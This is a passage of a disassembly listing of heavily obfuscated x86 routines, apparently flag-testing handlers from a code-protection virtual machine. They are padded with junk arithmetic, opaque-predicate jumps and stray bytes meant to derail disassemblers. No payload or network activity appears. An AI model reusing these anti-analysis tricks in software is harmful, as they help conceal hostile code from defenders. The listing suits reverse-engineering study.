loc_49F0F4:				; CODE XREF: sub_49F081:loc_49F0EDj
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		inc	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B4
		xor	ecx, dword_4ED3B8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F13E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F13E:				; CODE XREF: sub_49F081+B2j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F081	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F152	proc near		; DATA XREF: sub_4965D8+CACo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	100h
		pop	ebx
		dec	bh
		jo	short loc_49F188
		jl	short loc_49F186


loc_49F183:				; CODE XREF: sub_49F152:loc_49F186j
					; sub_49F152:loc_49F188j
		jmp	short loc_49F18A
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_49F186:				; CODE XREF: sub_49F152+2Fj
		jz	short loc_49F183


loc_49F188:				; CODE XREF: sub_49F152+2Dj
		jmp	short loc_49F183
; ---------------------------------------------------------------------------


loc_49F18A:				; CODE XREF: sub_49F152:loc_49F183j
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		inc	bh
		inc	bh
		inc	bh
		inc	bh
		and	ah, bh
		jo	short loc_49F1A9
		jl	short loc_49F1A7


loc_49F1A4:				; CODE XREF: sub_49F152:loc_49F1A7j
					; sub_49F152:loc_49F1A9j
		jmp	short loc_49F1AB
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49F1A7:				; CODE XREF: sub_49F152+50j
		jz	short loc_49F1A4


loc_49F1A9:				; CODE XREF: sub_49F152+4Ej
		jmp	short loc_49F1A4
; ---------------------------------------------------------------------------


loc_49F1AB:				; CODE XREF: sub_49F152:loc_49F1A4j
		mov	bl, 15h
		dec	bl
		sub	bl, 6
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49F1D7
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49F1DD
; ---------------------------------------------------------------------------


loc_49F1D7:				; CODE XREF: sub_49F152+7Bj
		not	eax
		add	eax, 1
		clc


loc_49F1DD:				; CODE XREF: sub_49F152+83j
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49F1EC
		jl	short loc_49F1EA


loc_49F1E5:				; CODE XREF: sub_49F152:loc_49F1EAj
					; sub_49F152:loc_49F1ECj
		jmp	short loc_49F1EE
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49F1EA:				; CODE XREF: sub_49F152+91j
		jz	short loc_49F1E5


loc_49F1EC:				; CODE XREF: sub_49F152+8Fj
		jmp	short loc_49F1E5
; ---------------------------------------------------------------------------


loc_49F1EE:				; CODE XREF: sub_49F152:loc_49F1E5j
		inc	eax
		dec	eax
		jo	short loc_49F1FB
		jl	short loc_49F1F9


loc_49F1F4:				; CODE XREF: sub_49F152:loc_49F1F9j
					; sub_49F152:loc_49F1FBj
		jmp	short loc_49F1FD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49F1F9:				; CODE XREF: sub_49F152+A0j
		jz	short loc_49F1F4


loc_49F1FB:				; CODE XREF: sub_49F152+9Ej
		jmp	short loc_49F1F4
; ---------------------------------------------------------------------------


loc_49F1FD:				; CODE XREF: sub_49F152:loc_49F1F4j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49F20C
		jl	short loc_49F20A


loc_49F205:				; CODE XREF: sub_49F152:loc_49F20Aj
					; sub_49F152:loc_49F20Cj
		jmp	short loc_49F20E
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49F20A:				; CODE XREF: sub_49F152+B1j
		jz	short loc_49F205


loc_49F20C:				; CODE XREF: sub_49F152+AFj
		jmp	short loc_49F205
; ---------------------------------------------------------------------------


loc_49F20E:				; CODE XREF: sub_49F152:loc_49F205j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F232
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F232:				; CODE XREF: sub_49F152+D5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F152	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F246	proc near		; DATA XREF: sub_4965D8+2ABo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 75h
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_49F2AB
		jl	short loc_49F2A9


loc_49F2A6:				; CODE XREF: sub_49F246:loc_49F2A9j
					; sub_49F246:loc_49F2ABj
		jmp	short loc_49F2AD
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49F2A9:				; CODE XREF: sub_49F246+5Ej
		jz	short loc_49F2A6


loc_49F2AB:				; CODE XREF: sub_49F246+5Cj
		jmp	short loc_49F2A6
; ---------------------------------------------------------------------------


loc_49F2AD:				; CODE XREF: sub_49F246:loc_49F2A6j
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_49F394
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		inc	bh
		inc	bh
		inc	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 80h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		sub	bh, 4
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_49F37F
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49F385
; ---------------------------------------------------------------------------


loc_49F37F:				; CODE XREF: sub_49F246+12Fj
		not	eax
		add	eax, 1
		clc


loc_49F385:				; CODE XREF: sub_49F246+137j
		sbb	eax, eax
		add	eax, 1
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49F394
		and	eax, 0
		jmp	short loc_49F398
; ---------------------------------------------------------------------------


loc_49F394:				; CODE XREF: sub_49F246+98j
					; sub_49F246+147j
		and	eax, 0
		inc	eax


loc_49F398:				; CODE XREF: sub_49F246+14Cj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F3BB
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F3BB:				; CODE XREF: sub_49F246+16Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F246	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F3CF	proc near		; DATA XREF: sub_4965D8+FC5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F464
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F464:				; CODE XREF: sub_49F3CF+8Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F3CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F478	proc near		; DATA XREF: sub_4965D8+72Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_49F4E0
		jl	short loc_49F4DE


loc_49F4DB:				; CODE XREF: sub_49F478:loc_49F4DEj
					; sub_49F478:loc_49F4E0j
		jmp	short loc_49F4E2
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49F4DE:				; CODE XREF: sub_49F478+61j
		jz	short loc_49F4DB


loc_49F4E0:				; CODE XREF: sub_49F478+5Fj
		jmp	short loc_49F4DB
; ---------------------------------------------------------------------------


loc_49F4E2:				; CODE XREF: sub_49F478:loc_49F4DBj
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F53A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F53A:				; CODE XREF: sub_49F478+B7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F54E	proc near		; DATA XREF: sub_4965D8+A8Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	5
		pop	ebx
		dec	bl
		dec	bl
		sub	bl, 2
		dec	bl
		and	al, bl
		mov	dh, 0Dh
		and	dl, 0
		sub	dh, 3
		dec	dh
		sub	dh, 1
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49F59E
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49F5A4
; ---------------------------------------------------------------------------


loc_49F59E:				; CODE XREF: sub_49F54E+46j
		not	eax
		add	eax, 1
		clc


loc_49F5A4:				; CODE XREF: sub_49F54E+4Ej
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED41C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F5CB
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F5CB:				; CODE XREF: sub_49F54E+72j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D70
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F54E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F5DF	proc near		; DATA XREF: sub_4965D8+152Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		sub	cl, 4
		push	eax
		dec	cl
		dec	cl
		sub	cl, 17h
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F6C6
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F6C6:				; CODE XREF: sub_49F5DF+DCj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F5DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F6DA	proc near		; DATA XREF: sub_4965D8+ECCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 2Ah
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		sub	dh, 2
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3B4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F7CB
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F7CB:				; CODE XREF: sub_49F6DA+E6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F6DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F7DF	proc near		; DATA XREF: sub_4965D8+30o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49F804
		jl	short loc_49F802


loc_49F7FF:				; CODE XREF: sub_49F7DF:loc_49F802j
					; sub_49F7DF:loc_49F804j
		jmp	short loc_49F806
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49F802:				; CODE XREF: sub_49F7DF+1Ej
		jz	short loc_49F7FF


loc_49F804:				; CODE XREF: sub_49F7DF+1Cj
		jmp	short loc_49F7FF
; ---------------------------------------------------------------------------


loc_49F806:				; CODE XREF: sub_49F7DF:loc_49F7FFj
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_49F85A
		jl	short loc_49F858


loc_49F855:				; CODE XREF: sub_49F7DF:loc_49F858j
					; sub_49F7DF:loc_49F85Aj
		jmp	short loc_49F85C
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49F858:				; CODE XREF: sub_49F7DF+74j
		jz	short loc_49F855


loc_49F85A:				; CODE XREF: sub_49F7DF+72j
		jmp	short loc_49F855
; ---------------------------------------------------------------------------


loc_49F85C:				; CODE XREF: sub_49F7DF:loc_49F855j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F8B6
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F8B6:				; CODE XREF: sub_49F7DF+CCj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F7DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F8CA	proc near		; DATA XREF: sub_4965D8+1394o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 38h
		sub	ch, 0Bh
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	short loc_49F946
		dec	edi
		and	eax, 0
		jmp	short loc_49F94D
; ---------------------------------------------------------------------------


loc_49F946:				; CODE XREF: sub_49F8CA+74j
		dec	edi
		and	eax, 0
		dec	edi
		dec	edi
		inc	eax


loc_49F94D:				; CODE XREF: sub_49F8CA+7Aj
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3F8
		xor	eax, dword_4ED3FC
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49F96F
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_49F96F:				; CODE XREF: sub_49F8CA+9Aj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F8CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F983	proc near		; DATA XREF: sub_4965D8+828o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 8
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 4
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49FA18
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49FA18:				; CODE XREF: sub_49F983+8Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49F983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49FA2C	proc near		; DATA XREF: sub_4965D8+B58o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D9C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1F00h
		pop	ebx
		jo	short loc_49FA62
		jl	short loc_49FA60


loc_49FA5B:				; CODE XREF: sub_49FA2C:loc_49FA60j
					; sub_49FA2C:loc_49FA62j
		jmp	short loc_49FA64
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49FA60:				; CODE XREF: sub_49FA2C+2Dj
		jz	short loc_49FA5B


loc_49FA62:				; CODE XREF: sub_49FA2C+2Bj
		jmp	short loc_49FA5B
; ---------------------------------------------------------------------------


loc_49FA64:				; CODE XREF: sub_49FA2C:loc_49FA5Bj
		sub	bh, 6
		push	eax
		dec	bh
		dec	bh
		and	eax, 800h
		dec	bh
		sub	bh, 0FFh
		dec	bh
		sub	bh, 15h
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 15h
		dec	dl
		dec	dl
		sub	dl, 0Ah
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		jo	short loc_49FAA1
		jl	short loc_49FA9F


loc_49FA9A:				; CODE XREF: sub_49FA2C:loc_49FA9Fj
					; sub_49FA2C:loc_49FAA1j
		jmp	short loc_49FAA3
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49FA9F:				; CODE XREF: sub_49FA2C+6Cj
		jz	short loc_49FA9A


loc_49FAA1:				; CODE XREF: sub_49FA2C+6Aj
		jmp	short loc_49FA9A
; ---------------------------------------------------------------------------


loc_49FAA3:				; CODE XREF: sub_49FA2C:loc_49FA9Aj
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
